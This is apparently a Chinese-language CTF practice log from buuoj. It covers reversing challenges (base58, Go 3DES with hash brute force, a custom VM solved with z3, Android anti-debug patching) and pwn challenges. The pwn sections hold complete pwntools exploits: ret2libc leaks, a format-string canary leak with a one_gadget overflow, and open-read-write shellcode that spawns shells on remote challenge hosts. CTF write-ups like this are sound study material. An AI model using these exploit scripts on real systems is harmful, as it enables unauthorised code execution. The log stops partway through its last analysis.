title: 在buuoj的刷题记录
exeinfope扫一下,有Enigma Virtual Box壳,搜索enigma Virtual Box unpacker,得到https://lifeinhex.com/tag/unpacker/
可以查看按钮监听事件,找到
.rdata:004044FC ??_7MainWindow@@6B@ dd offset sub_401A90
.rdata:004044FC ; DATA XREF: main+3D↑o
.rdata:004044FC ; sub_401120+8↑o ...
.rdata:00404500 dd offset sub_401B10
.rdata:00404504 dd offset sub_401AB0
.rdata:00404508 dd offset loc_401180
.rdata:0040450C dd offset ?event@QMainWindow@@MAE_NPAVQEvent@@@Z ; QMainWindow::event(QEvent *)
.rdata:00404510 dd offset ?eventFilter@QObject@@UAE_NPAV1@PAVQEvent@@@Z ; QObject::eventFilter(QObject *,QEvent *)
.rdata:00404514 dd offset ?timerEvent@QObject@@MAEXPAVQTimerEvent@@@Z ; QObject::timerEvent(QTimerEvent *)
.rdata:00404518 dd offset ?childEvent@QObject@@MAEXPAVQChildEvent@@@Z ; QObject::childEvent(QChildEvent *)
.rdata:0040451C dd offset ?customEvent@QObject@@MAEXPAVQEvent@@@Z ; QObject::customEvent(QEvent *)
.rdata:00404520 dd offset ?connectNotify@QObject@@MAEXABVQMetaMethod@@@Z ; QObject::connectNotify(QMetaMethod const &)
.rdata:00404524 dd offset ?disconnectNotify@QObject@@MAEXABVQMetaMethod@@@Z ; QObject::disconnectNotify(QMetaMethod const &)
.rdata:00404528 dd offset ?setVisible@QWidget@@UAEX_N@Z ; QWidget::setVisible(bool)
.rdata:0040452C dd offset ?sizeHint@QWidget@@UBE?AVQSize@@XZ ; QWidget::sizeHint(void)
.rdata:00404530 dd offset ?minimumSizeHint@QWidget@@UBE?AVQSize@@XZ ; QWidget::minimumSizeHint(void)
.rdata:00404534 dd offset ?heightForWidth@QWidget@@UBEHH@Z ; QWidget::heightForWidth(int)
在三个函数下断点,直到点击按钮时断下即可
查看主要加密函数,base58
QLineEdit::text(*(_DWORD *)(this[6] + 4), v15);
v25 = 0;
QString::toLatin1(v15, v16);
LOBYTE(v25) = 1;
v18 = QByteArray::data((QByteArray *)v16);
v23[0] = 0i64;
v23[1] = 0i64;
v24 = 0i64;
strcpy(v22, "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz");
v20 = 138 * strlen(v18) / 0x64;
v13 = v20 + 1;
v1 = 0;
v21 = malloc(v20 + 1);
v2 = v21;
memset(v21, 0, v13);
v3 = v18;
v19 = (int)(v18 + 1);
if ( strlen(v18) )
{
v4 = &v2[v20];
v17 = v4;
while ( 1 )
{
v19 = ((char)*v4 << 8) + v3[v1];
v5 = v19 / 58;
*v4 = v19 % 58;
if ( v5 )
{
do
{
v6 = (char)*--v4;
v7 = (v6 << 8) + v5;
v19 = v7 / 58;
*v4 = v7 % 58;
v5 = v19;
}
while ( v19 );
v4 = v17;
}
if ( ++v1 >= strlen(v18) )
break;
v3 = v18;
}
v2 = v21;
}
v8 = 0;
if ( !*v2 )
{
do
++v8;
while ( !v2[v8] );
}
v9 = v20;
if ( v8 <= v20 )
{
v10 = v2 - (_BYTE *)v23;
do
{
v11 = (char *)v23 + v8++;
*v11 = v22[(char)v11[v10]];
}
while ( v8 <= v9 );
}
if ( !qstrcmp((const char *)v23, "56fkoP8KhwCf3v7CEz") )
{
if ( v18 )
v12 = strlen(v18);
else
v12 = -1;
v21 = (_BYTE *)QString::fromAscii_helper(v18, v12);
LOBYTE(v25) = 2;
v20 = QString::fromAscii_helper("flag", 4);
LOBYTE(v25) = 3;
QMessageBox::warning(this, &v20, &v21, 1024, 0);
QString::~QString((QString *)&v20);
QString::~QString((QString *)&v21);
}
go程序https://github.com/sibears/IDAGolangHelper
第一阶段三重DES加密
crypto_des_NewTripleDESCipher(a1, a2, a3, a10, a5, a6, a10, 24LL, a12);
有个json字符串储存key和iv
.noptrdata:0000000000608840 aKeyWelcometoth db '{',0Dh,0Ah ; DATA XREF: .data:off_61E540↓o
.noptrdata:0000000000608840 db ' "key": "WelcomeToTheGKCTF2021XXX",',0Dh,0Ah
.noptrdata:0000000000608840 db ' "iv": "1Ssecret"',0Dh,0Ah
.noptrdata:0000000000608840 db '}',0
key=WelcomeToTheGKCTF2021XXX iv=1Ssecret 比对位于
runtime_memequal(a1, a2, v9, (unsigned int)&aOAwpjnnxmpzdnj, v10, v11);
结果应该是base64编码
o/aWPjNNxMPZDnJlNp0zK5+NLPC4Tv6kqdJqjkL0XkA=
解密得到
87f645e9-b628-412f-9d7a-
后面的代码必须查看汇编代码
.text:0000000000514770 call Encrypt_HashHex2 ; sha256
.text:0000000000514775 mov rax, [rsp+78h+var_60]
.text:000000000051477A mov rcx, [rsp+78h+var_58]
.text:000000000051477F nop
.text:0000000000514780 cmp rcx, 40h ; '@'
.text:0000000000514784 jz short loc_514798
.text:0000000000514786
.text:0000000000514786 loc_514786: ; CODE XREF: main_check+137↓j
.text:0000000000514786 mov [rsp+78h+arg_10], 0
.text:000000000051478E mov rbp, [rsp+78h+var_8]
.text:0000000000514793 add rsp, 78h
.text:0000000000514797 retn
.text:0000000000514798 ; ---------------------------------------------------------------------------
.text:0000000000514798
.text:0000000000514798 loc_514798: ; CODE XREF: main_check+104↑j
.text:0000000000514798 mov [rsp+78h+var_78], rax
.text:000000000051479C lea rax, a6e2b55c78937d6 ; "6e2b55c78937d63490b4b26ab3ac3cb54df4c5c"...
.text:00000000005147A3 mov [rsp+78h+var_70], rax
.text:00000000005147A8 mov [rsp+78h+var_68], rcx
.text:00000000005147AD call runtime_memequal
.text:00000000005147B2 cmp byte ptr [rsp+78h+var_60], 0
.text:00000000005147B7 jz short loc_514786
.text:00000000005147B9 mov rdx, [rsp+78h+len]
.text:00000000005147C1 cmp rdx, 26h ; '&'
.text:00000000005147C5 jb loc_5148E8
.text:00000000005147CB lea rax, [rsp+78h+var_28]
.text:00000000005147D0 mov [rsp+78h+var_78], rax
.text:00000000005147D4 mov rax, [rsp+78h+input2]
.text:00000000005147DC lea rcx, [rax+22h]
.text:00000000005147E0 mov [rsp+78h+var_70], rcx
.text:00000000005147E5 mov [rsp+78h+var_68], 4
.text:00000000005147EE call runtime_stringtoslicebyte
.text:00000000005147F3 mov rax, [rsp+78h+var_60]
.text:00000000005147F8 mov rcx, [rsp+78h+var_58]
.text:00000000005147FD mov rdx, [rsp+78h+var_50]
.text:0000000000514802 mov [rsp+78h+var_78], rax
.text:0000000000514806 mov [rsp+78h+var_70], rcx
.text:000000000051480B mov [rsp+78h+var_68], rdx
.text:0000000000514810 call Encrypt_HashHex5 ; sha512
.text:0000000000514815 mov rax, [rsp+78h+var_60]
.text:000000000051481A mov rcx, [rsp+78h+var_58]
.text:000000000051481F nop
.text:0000000000514820 cmp rcx, 80h
.text:0000000000514827 jz short loc_51483B
.text:0000000000514829
.text:0000000000514829 loc_514829: ; CODE XREF: main_check+1DA↓j
.text:0000000000514829 mov [rsp+78h+arg_10], 0
.text:0000000000514831 mov rbp, [rsp+78h+var_8]
.text:0000000000514836 add rsp, 78h
.text:000000000051483A retn
.text:000000000051483B ; ---------------------------------------------------------------------------
.text:000000000051483B
.text:000000000051483B loc_51483B: ; CODE XREF: main_check+1A7↑j
.text:000000000051483B mov [rsp+78h+var_78], rax
.text:000000000051483F lea rax, a6500fe72abcab6 ; "6500fe72abcab63d87f213d2218b0ee086a1828"...
.text:0000000000514846 mov [rsp+78h+var_70], rax
.text:000000000051484B mov [rsp+78h+var_68], rcx
.text:0000000000514850 call runtime_memequal
.text:0000000000514855 cmp byte ptr [rsp+78h+var_60], 0
.text:000000000051485A jz short loc_514829
.text:000000000051485C mov rdx, [rsp+78h+len]
.text:0000000000514864 cmp rdx, 2Ah ; '*'
.text:0000000000514868 jb short loc_5148DE
.text:000000000051486A mov rax, [rsp+78h+input2]
.text:0000000000514872 add rax, 26h ; '&'
.text:0000000000514876 mov [rsp+78h+var_78], rax
.text:000000000051487A mov [rsp+78h+var_70], 4
.text:0000000000514883 call main_hash ; md5
.text:0000000000514888 mov rax, [rsp+78h+var_60]
.text:000000000051488D mov rcx, [rsp+78h+var_68]
.text:0000000000514892 cmp rax, 20h ; ' '
.text:0000000000514896 jz short loc_5148AA
.text:0000000000514898
.text:0000000000514898 loc_514898: ; CODE XREF: main_check+24A↓j
.text:0000000000514898 mov [rsp+78h+arg_10], 0
.text:00000000005148A0 mov rbp, [rsp+78h+var_8]
.text:00000000005148A5 add rsp, 78h
.text:00000000005148A9 retn
.text:00000000005148AA ; ---------------------------------------------------------------------------
.text:00000000005148AA
.text:00000000005148AA loc_5148AA: ; CODE XREF: main_check+216↑j
.text:00000000005148AA mov [rsp+78h+var_78], rcx
.text:00000000005148AE lea rcx, byte_54E0D6
.text:00000000005148B5 mov [rsp+78h+var_70], rcx
.text:00000000005148BA mov [rsp+78h+var_68], rax
.text:00000000005148BF nop
.text:00000000005148C0 call runtime_memequal
.text:00000000005148C5 cmp byte ptr [rsp+78h+var_60], 0
.text:00000000005148CA jz short loc_514898
.text:00000000005148CC mov [rsp+78h+arg_10], 1
.text:00000000005148D4 mov rbp, [rsp+78h+var_8]
.text:00000000005148D9 add rsp, 78h
.text:00000000005148DD retn
使用python穷举一下,itertools很快
from Crypto.Cipher import DES3
des=DES3.new(key=b'WelcomeToTheGKCTF2021XXX',iv=b'1Ssecret',mode=DES3.MODE_CBC)
import base64
import hashlib
import itertools
r=des.decrypt(base64.b64decode(b'o/aWPjNNxMPZDnJlNp0zK5+NLPC4Tv6kqdJqjkL0XkA='))
print(len(r),r)
sha256_str='6e2b55c78937d63490b4b26ab3ac3cb54df4c5ca7d60012c13d2d1234a732b74'
sha512_str='6500fe72abcab63d87f213d2218b0ee086a1828188439ca485a1a40968fd272865d5ca4d5ef5a651270a52ff952d955c9b757caae1ecce804582ae78f87fa3c9c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f0011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd166506864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151686479766013060971498190079908139321726943530014330540939446345918554318339765539424505774633321719753296399637136332111386476861244038034037280889270700544900010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899'[:128]
md5_str='ff6e2fd78aca4736037258f0ede4ecf0'
print(hashlib.sha512(b'00').hexdigest())
tab='0123456789abcdef'
sha256_ok=False
sha512_ok=False
md5_ok=False
for i in itertools.product(tab,repeat=4):
s=''.join(i).encode()
if not sha256_ok and hashlib.sha256(s).hexdigest()==sha256_str:
print('sha256:',s)
sha256_ok=True
if not sha512_ok and hashlib.sha512(s).hexdigest()==sha512_str:
print('sha512:',s)
sha512_ok=True
if not md5_ok and hashlib.md5(s).hexdigest()==md5_str:
print('md5:',s)
md5_ok=True
if sha256_ok and sha512_ok and md5_ok:break
# GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}
虚拟机,解析之后使用z3即可
import struct
def decompile(code):
ip=0
esp=2
data_seg=[0]*256
regs=[0]*256
# regs[7]=0,[6]=2,[5]=0
while ip<len(code):
op=code[ip]
s=''
if op==0:
print(len(code)-ip)
break
elif op==1:
data_seg[esp]=struct.unpack('<I',code[ip+1:ip+5])[0]
esp+=1
s='data_seg[%d]=0x%x'%(esp,struct.unpack('<I',code[ip+1:ip+5])[0])
ip+=5
elif op==2:
esp-=1
s='esp-=1'
ip+=1
elif op==3:
regs[code[ip+1]]+=regs[code[ip+2]]
s='regs[%d]+=regs[%d]'%(code[ip+1],code[ip+2])
ip+=3
elif op==4:
regs[code[ip+1]]-=code[ip+2]
s='regs[%d]-=regs[%d]'%(code[ip+1],code[ip+2])
ip+=3
elif op==5:
regs[code[ip+1]]*=code[ip+2]
s='regs[%d]*=%d'%(code[ip+1],code[ip+2])
ip+=3
elif op==6:
regs[code[ip+1]]>>=code[ip+2]
s='regs[%d]>>=%d'%(code[ip+1],code[ip+2])
ip+=3
elif op==7:
regs[code[ip+1]]=regs[code[ip+2]]
s='regs[%d]=regs[%d]'%(code[ip+1],code[ip+2])
ip+=3
elif op==8:
regs[code[ip+1]]=data_seg[code[ip+2]]
s='regs[%d]+=data_seg[regs[7]+%d]'%(code[ip+1],code[ip+2])
ip+=3
elif op==9:
regs[code[ip+1]]^=code[ip+2]
s='regs[%d]^=regs[%d]'%(code[ip+1],code[ip+2])
ip+=3
elif op==10:
regs[code[ip+1]]|=code[ip+2]
s='regs[%d]|=regs[%d]'%(code[ip+1],code[ip+2])
ip+=3
else:
print('error op code')
exit(1)
print('%x'%ip,s)
decompile(open('code','rb').read())
# regs[1]=0
from z3 import *
x,y,z=BitVec('x',32),BitVec('y',32),BitVec('z',32)
s=Solver()
s.add(
((x>>4)*21-z-0x1d7ecc6b)|
((z>>8)*3+y-0x6079797c)|
((x>>8)+y-0x5fbcbdbd)==0
)
s.add(x&0xff==94)
s.add(y&0xff0000==0x5E0000)
s.add(z&0xff==94)
print(s.check())
m=s.model()
print('X-NUCA{%x%x%x}'%(m[x].as_long(),m[y].as_long(),m[z].as_long()))
前面的字符串是string_fog加密https://github.com/MegatronKing/StringFog
check逻辑在libnative-lib.so,Java层有一些反调试,Patch掉smali源码即可
查看JNI_OnLoad
jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
//...
v8 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
if ( !(*vm)->GetEnv(vm, (void **)&v4, 65542LL) )
{
//...
(*v4)->RegisterNatives(v4, v2, (const JNINativeMethod *)methods, 1LL);
}
return 65542;
}
method信息
.data:0000000000046008 methods DCQ aCheck ; DATA XREF: LOAD:0000000000002220↑o
.data:0000000000046008 ; .got:methods_ptr↑o
.data:0000000000046008 ; "check"
.data:0000000000046010 DCQ aLjavaLangStrin ; "(Ljava/lang/String;)Z"
.data:0000000000046018 DCQ check
.data:0000000000046020 DCQ __gxx_personality_v0
.data:0000000000046028 EXPORT __cxa_terminate_handler
加密算法在10ce8,在此之前有几个反调试
__int64 sub_DFD4()
{
//...
v5 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
memcpy(dest, "/data/local/su", sizeof(dest));
v0 = 0LL;
while ( 1 )
{
v1 = v0 + 30;
if ( v0 == 300 )
break;
v2 = fopen(&dest[v0], "r");
v0 = v1;
if ( v2 )
return 1LL;
}
return 0LL;
}
查看su反调试。E074也有个反调试,似乎是读取某个特定文件
一旦检测到调试,则获取pid并kill
if ( (unsigned int)sub_E074((__int64)input_3, (__int64)input_2) )
{
v8 = get_pid();
kill_pid9(v8, 9);
}
if ( (check_su() & 1) != 0 ) // check_su
{
v9 = get_pid();
kill_pid9(v9, 9);
}
因此可以patch掉kill逻辑
.text:000000000000D994 kill_pid9 ; CODE XREF: sub_E260+150↓p
.text:000000000000D994 ; .text:000000000000E45C↓p ...
.text:000000000000D994 ; __unwind {
.text:000000000000D994 RET
.text:000000000000D998 ; ---------------------------------------------------------------------------
.text:000000000000D998 SVC 0
.text:000000000000D99C CMN X0, #1,LSL#12
.text:000000000000D9A0 CINV X0, X0, HI
.text:000000000000D9A4 B.HI sub_10E94
.text:000000000000D9A8 RET
.text:000000000000D9A8 ; } // starts at D994
然后查看加密算法10ce8,使用了一个常量序列0x3E 0x72 0x5B 0x47 0xCA 0xE0 ...
,搜索一下,发现是ZUC祖冲之序列密码算法。既然是序列密码,既可以调试出秘钥和IV,也可以把明文改为密文输入
找到密文
[0x17, 0x83, 0x1, 0x69, 0xd9, 0xd9, 0x0, 0x37, 0xe4, 0xac, 0x63, 0xbc, 0x7d, 0x8e, 0x4c, 0xc9, 0x6c, 0xc1, 0x95, 0x8d, 0xf4, 0xaa, 0xf2, 0x86, 0x96, 0xb8, 0xfc, 0x59, 0x19, 0xf0, 0x5d, 0x3a]
使用IDA调试,安装后还是闪退,说明还是有反调试,Java层已经patch好了,那么只有native层,几个加载函数init_proc和init_array。最后发现是illegalState异常,也就是说是打包问题
只能静态分析,发现E074是AES加密,有AES特征码
__int64 __fastcall sub_E074(__int64 a1, __int64 a2)
{
//...
v23 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
v22[0] = unk_293C4;
v22[1] = unk_293D4;
v4 = getpid();
v5 = (char *)operator new[](0x14uLL);
v19 = xmmword_29424;
v20 = 0x8E0000008CLL;
clear_nzero(v13, (__int64)&v19, 6);
v6 = sub_DA24((int8x8_t *)v14, v4);
strcat(v5, v13, v6);
v18[0] = xmmword_293E4;
*(_OWORD *)((char *)v18 + 12) = *(__int128 *)((char *)&xmmword_293E4 + 12);
clear_nzero(v12, (__int64)v18, 7);
strcat(v5, v5, v12);
v7 = fopen(v5, "r");
if ( !v7 )
return 0;
v8 = v7;
v9 = set_ns(32LL);
if ( feof(v8) )
return 0;
while ( 1 )
{
fgets(s, 128, v8);
v16[1] = xmmword_29410;
v17 = 106;
v16[0] = xmmword_29400;
clear_nzero(a2a, (__int64)v16, 9);
if ( str_prifix_cmp(s, a2a) ) // 如果是前缀则返回str1,否则返回0
break;
if ( feof(v8) )
return 0;
}
v10 = atoi(&s[10]);
fclose(v8);
AES((__int64)v22, (__int64)v9); // key init
if ( *(_BYTE *)(a2 + 8) )
{
*(_BYTE *)(a2 + 8) = v10;
sub_F8E0(a2, a1, v9); // encrypt
}
return v10;
}
TODO
首先查看源码或抓包,在卖鞋场那里找到了一个隐藏的按钮Secret.php
然后说让用Syclover浏览器,就改UA的第一个为Syclover
最后是需要从本地访问,改X-Forwarded-For为127.0.0.1
使用DynELF泄露libc地址
from pwn import *
f='./level4'
context.arch='i386'
# p=remote('node4.buuoj.cn',27590)
p=process(f)
# # p=gdb.debug(f)
elf=ELF(f)
# vuln_func=elf.sym['vulnerable_function']
vuln_func=0x8048350
write_plt=elf.plt['write']
print(hex(write_plt),hex(vuln_func))
write_got=elf.got['write']
def leak(addr):
payload=b'a'*0x88+b'a'*4+p32(write_plt)+p32(vuln_func)+p32(1)+p32(addr)+p32(4)
p.sendline(payload)
r=p.recv(4)
return r
d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
read_addr=elf.plt['read']
bss_addr=0x0804a024
payload=b'a'*0x88+b'a'*4+p32(read_addr)+p32(vuln_func)+p32(0)+p32(bss_addr)+p32(8)
p.send(payload)
p.send(b'/bin/sh\x00')
payload=b'a'*0x88+b'a'*4+p32(sys_addr)+p32(0)+p32(bss_addr)
p.send(payload)
p.sendline('ls')
p.interactive()
from pwn import *
from LibcSearcher import LibcSearcher
f='./level3'
context.arch='amd64'
p=remote('node4.buuoj.cn',29328)
# p=process(f)
# # p=gdb.debug(f)
elf=ELF(f)
vuln_func=elf.sym['vulnerable_function']
write_plt=elf.plt['write']
# print(hex(write_plt),hex(vuln_func))
write_got=elf.got['write']
prdi=0x00000000004006b3
prsip=0x00000000004006b1
p.recvuntil(b'Input:\n')
pad=b'a'*0x88
payload=pad+p64(prdi)+p64(1)+p64(prsip)+p64(write_got)+p64(0)+p64(write_plt)+p64(vuln_func)
p.send(payload)
r=p.recv(8)
print(r,len(r))
write_addr=u64(r)
info('write addr: 0x016%x'%write_addr)
libc=LibcSearcher('write',write_addr)
libc.select_libc(8)
libc_base=write_addr-libc.dump('write')
sys_addr=libc.dump('system')+libc_base
sh_addr=libc.dump('str_bin_sh')+libc_base
p.recvuntil(b'Input:\n')
payload=pad+p64(prdi)+p64(sh_addr)+p64(sys_addr)
p.send(payload)
p.interactive()
gift中存在格式化字符串漏洞
[0x00400814]> pdf
; CALL XREF from main @ 0x400900
/ 115: sym.gift ();
| ; var char *format @ rbp-0x10
| ; var int64_t canary @ rbp-0x8
| 0x00400814 55 push rbp
| 0x00400815 4889e5 mov rbp, rsp
| 0x00400818 4883ec10 sub rsp, 0x10
| 0x0040081c 64488b042528. mov rax, qword fs:[0x28]
| 0x00400825 488945f8 mov qword [canary], rax
| 0x00400829 31c0 xor eax, eax
| 0x0040082b bfe0094000 mov edi, str.Ill_give_u_some_gift_to_help_u_ ; 0x4009e0 ; "I'll give u some gift to help u!" ; const char *s
| 0x00400830 e8dbfdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400835 488d45f0 lea rax, [format]
| 0x00400839 4889c6 mov rsi, rax
| 0x0040083c bf010a4000 mov edi, 0x400a01 ; const char *format
| 0x00400841 b800000000 mov eax, 0
| 0x00400846 e835feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
| 0x0040084b 488d45f0 lea rax, [format]
| 0x0040084f 4889c7 mov rdi, rax ; const char *format
| 0x00400852 b800000000 mov eax, 0
| 0x00400857 e8d4fdffff call sym.imp.printf ; int printf(const char *format)
| 0x0040085c bf050a4000 mov edi, 0x400a05 ; const char *s
| 0x00400861 e8aafdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400866 bf00000000 mov edi, 0 ; FILE *stream
| 0x0040086b e8f0fdffff call sym.imp.fflush ; int fflush(FILE *stream)
| 0x00400870 90 nop
| 0x00400871 488b45f8 mov rax, qword [canary]
| 0x00400875 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x0040087e 7405 je 0x400885
| | 0x00400880 e89bfdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; CODE XREF from sym.gift @ 0x40087e
| `-> 0x00400885 c9 leave
\ 0x00400886 c3 ret
vuln中有缓冲区溢出漏洞
; CALL XREF from main @ 0x40090a
/ 83: sym.vuln ();
| ; var void *buf @ rbp-0x20
| ; var int64_t canary @ rbp-0x8
| 0x00400887 55 push rbp
| 0x00400888 4889e5 mov rbp, rsp
| 0x0040088b 4883ec20 sub rsp, 0x20
| 0x0040088f 64488b042528. mov rax, qword fs:[0x28]
| 0x00400898 488945f8 mov qword [canary], rax
| 0x0040089c 31c0 xor eax, eax
| 0x0040089e bf080a4000 mov edi, str.Pull_up_your_sword_and_tell_me_u_story_ ; 0x400a08 ; "Pull up your sword and tell me u story!" ; const char *s
| 0x004008a3 e868fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004008a8 488d45e0 lea rax, [buf]
| 0x004008ac ba64000000 mov edx, 0x64 ; 'd' ; 100 ; size_t nbyte
| 0x004008b1 4889c6 mov rsi, rax ; void *buf
| 0x004008b4 bf00000000 mov edi, 0 ; int fildes
| 0x004008b9 b800000000 mov eax, 0
| 0x004008be e87dfdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x004008c3 90 nop
| 0x004008c4 488b45f8 mov rax, qword [canary]
| 0x004008c8 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x004008d1 7405 je 0x4008d8
| | 0x004008d3 e848fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; CODE XREF from sym.vuln @ 0x4008d1
| `-> 0x004008d8 c9 leave
\ 0x004008d9 c3 ret
思路:先格式化字符串漏洞泄漏canary,然后缓冲区溢出漏洞拿shell
from pwn import *
pname='./babyrop2'
# context.log_level='debug'
# p=process(pname)
p=remote('node4.buuoj.cn',29677)
# p=gdb.debug(pname)
elf=ELF(pname)
libc=ELF('/lib/x86_64-linux-gnu//libc-2.23.so')
gift_addr=elf.sym['gift']
vuln_addr=elf.sym['vuln']
# print(elf.got)
puts_plt=0x00400610
lsm_got=elf.got['__libc_start_main']
p.recvuntil(b'I\'ll give u some gift to help u!')
p.send(b'%7$p\n')
r=p.recv(16)
r=p.recv(18)
# print(r)
canary=int(r[2:],base=16)
info('canary:0x%x'%canary)
prdi=0x400993
one_gadget=0x45226
pad=b'a'*0x18+p64(canary)+b'a'*0x8
payload=pad+p64(prdi)+p64(lsm_got)+p64(puts_plt)+p64(vuln_addr)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
p.send(payload)
r=p.recv(6)
lsm_addr=u64(r.ljust(8,b'\x00'))
info('lsm_addr:%016x'%lsm_addr)
libc_base=lsm_addr-libc.sym['__libc_start_main']
info('libc_base:%016x'%libc_base)
p.recvuntil(b'Pull up your sword and tell me u story!')
payload=pad+p64(one_gadget+libc_base)
p.sendline(payload)
p.interactive()
$ checksec ./orw
[*] '/home/aloha/Downloads/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
在orw_seccomp中,有这个代码
| 0x08048503 83ec0c sub esp, 0xc
| 0x08048506 6a00 push 0
| 0x08048508 6a00 push 0
| 0x0804850a 6a00 push 0 ; unsigned long v3
| 0x0804850c 6a01 push 1 ; 1 ; unsigned long v2
| 0x0804850e 6a26 push 0x26 ; '&' ; 38 ; int option
| 0x08048510 e89bfeffff call sym.imp.prctl ; int prctl(int option, unsigned long v2,
查看官方文档https://man7.org/linux/man-pages/man2/prctl.2.html https://code.woboq.org/userspace/include/linux/prctl.h.html
也就是说,设置了PR_SET_NO_NEW_PRIVS后,调用线程就无法使用除了execve之外的系统调用运行新线程。
SECCOMP_MODE_FILTER只允许arg3列表中的系统调用,语义为Berkeley Packet Filter
关于过滤器可以查看这个https://zhuanlan.zhihu.com/p/363174561 https://docs.huihoo.com/doxygen/linux/kernel/3.7/include_2uapi_2linux_2filter_8h_source.html
实际上实现了一种沙盒机制,只允许open read write
from pwn import *
pn='./orw'
context.arch='i386'
elf=ELF(pn)
# p=process(pn)
p=remote('node4.buuoj.cn',28813)
code=shellcraft.open('/flag')
code+=shellcraft.read('eax','esp',100)
code+=shellcraft.write(1,'esp',100)
p.recvuntil(b'Give my your shellcode:')
sleep(0.2)
p.send(asm(code))
p.interactive()
看看字符串,有you lost sth
, you win
https://www.52pojie.cn/thread-1039478-1-1.html
前面还有个退出条件
if ( v4 != 3 )
_exit(v4);
if ( v119 != 10 )
{
v14 = _except_get_jumpbuf_sp(Src);
_exit(v14);
}
影响v4的主要是上面的循环
while ( 1 )
{
v126[0] = (__int64)v86;
sub_140002120(v86, v112);
sub_140002120(v87, v113);
v88 = v114;
v89 = BYTE2(v114);
v8 = *((_QWORD *)&v111 + 1);
v126[0] = (__int64)v90;
sub_140002120(v90, v86);
sub_140002120(v91, v87);
v92 = v88;
v93 = v89;
*(_QWORD *)&v94 = v8;
*((_QWORD *)&v94 + 1) = v8;
v97 = 0i64;
v98 = 15i64;
LOBYTE(v96) = 0;
v95 = 0;
sub_140001FC0(v86);
v7 |= 4u;
if ( v95 && v106.m256i_i8[24] )
v9 = v94 != *(_OWORD *)&v106.m256i_u64[1];
else
v9 = v95 != v106.m256i_i8[24];
if ( v98 >= 0x10 )
{
v10 = v96;
if ( v98 + 1 >= 0x1000 )
{
v10 = (_BYTE *)*((_QWORD *)v96 - 1);
if ( (unsigned __int64)(v96 - v10 - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(v10);
}
v97 = 0i64;
v98 = 15i64;
LOBYTE(v96) = 0;
sub_140001FC0(v90);
if ( !v9 )
break;
if ( !v106.m256i_i8[24] )
wassert(L"valid_", L"E:\\boost_1_69_0\\boost\\token_iterator.hpp", 0x3Bu);
v11 = &Src[32 * v4];
if ( v11 != (char *)Block )
{
v12 = Block;
if ( v108[1] >= 0x10 )
v12 = (void **)Block[0];
sub_140002240(v11, v12, v108[0]);
}
++v4;
if ( !v106.m256i_i8[24] )
wassert(L"valid_", L"E:\\boost_1_69_0\\boost\\token_iterator.hpp", 0x36u);
v106.m256i_i8[24] = sub_140002B80(Buf);
}
跟踪break语句,是v9影响最终退出,再向上找到v9的影响因素
v95 = 0;
sub_140001FC0(v86);
v7 |= 4u;
if ( v95 && v106.m256i_i8[24] )
v9 = v94 != *(_OWORD *)&v106.m256i_u64[1];
else
v9 = v95 != v106.m256i_i8[24];
上面的功能比较复杂,调试一下,v106变成了v107
if ( (char *)v6 == v5 )
v107.m256i_i8[24] = 0;
else
v107.m256i_i8[24] = sub_140002B80(Buf, (char **)&v107.m256i_i64[1], v5, (__m128i *)Block);
sub_140001FC0(Destination);
最终就是这个函数
这个函数中有这么一段逻辑
while ( 1 )
{
v13 = *v11; // v11是输入字符串
if ( *((_QWORD *)Buf + 6) )
{
v14 = (char *)Buf + 32;
if ( *((_QWORD *)Buf + 7) >= 0x10ui64 )
v14 = (char *)*((_QWORD *)Buf + 4);
v15 = *((_QWORD *)Buf + 6);
if ( v15 && (v16 = memchr(v14, v13, v15)) != 0i64 )
v17 = v16 - v14 == -1;
else
v17 = 1;
}
else
{
if ( *((_BYTE *)Buf + 66) )
goto LABEL_21;
v18 = isspace(v13);
v11 = *a2;
v17 = v18 == 0;
v12 = *a2;
}
if ( !v17 )
goto LABEL_31;
LABEL_21:
v19 = *((_QWORD *)Buf + 2);
v20 = *v11;
if ( !v19 )
break;
v21 = Buf;
if ( *((_QWORD *)Buf + 3) >= 0x10ui64 )
v21 = *(void **)Buf;
v22 = memchr(v21, v20, v19);
if ( v22 )
v23 = v22 - (_BYTE *)v21 == -1;
else
v23 = 1;
LABEL_29:
v25 = v12;
if ( v23 || *((_BYTE *)Buf + 64) )
goto LABEL_34;
LABEL_31:
*a2 = ++v11;
v12 = v11;
v25 = v11;
if ( v11 == a3 )
goto LABEL_34;
}
遇到有空格会记录在v2中。
最终效果就是遇到空格或标点就会分隔字符串,也就是要包含3部分字符串,经过调试需要标点分割
经过调试,第二个v122!=10
判断的是第一部分输入长度
第一部分检测如下
sub_140002690(v119, input_part1);
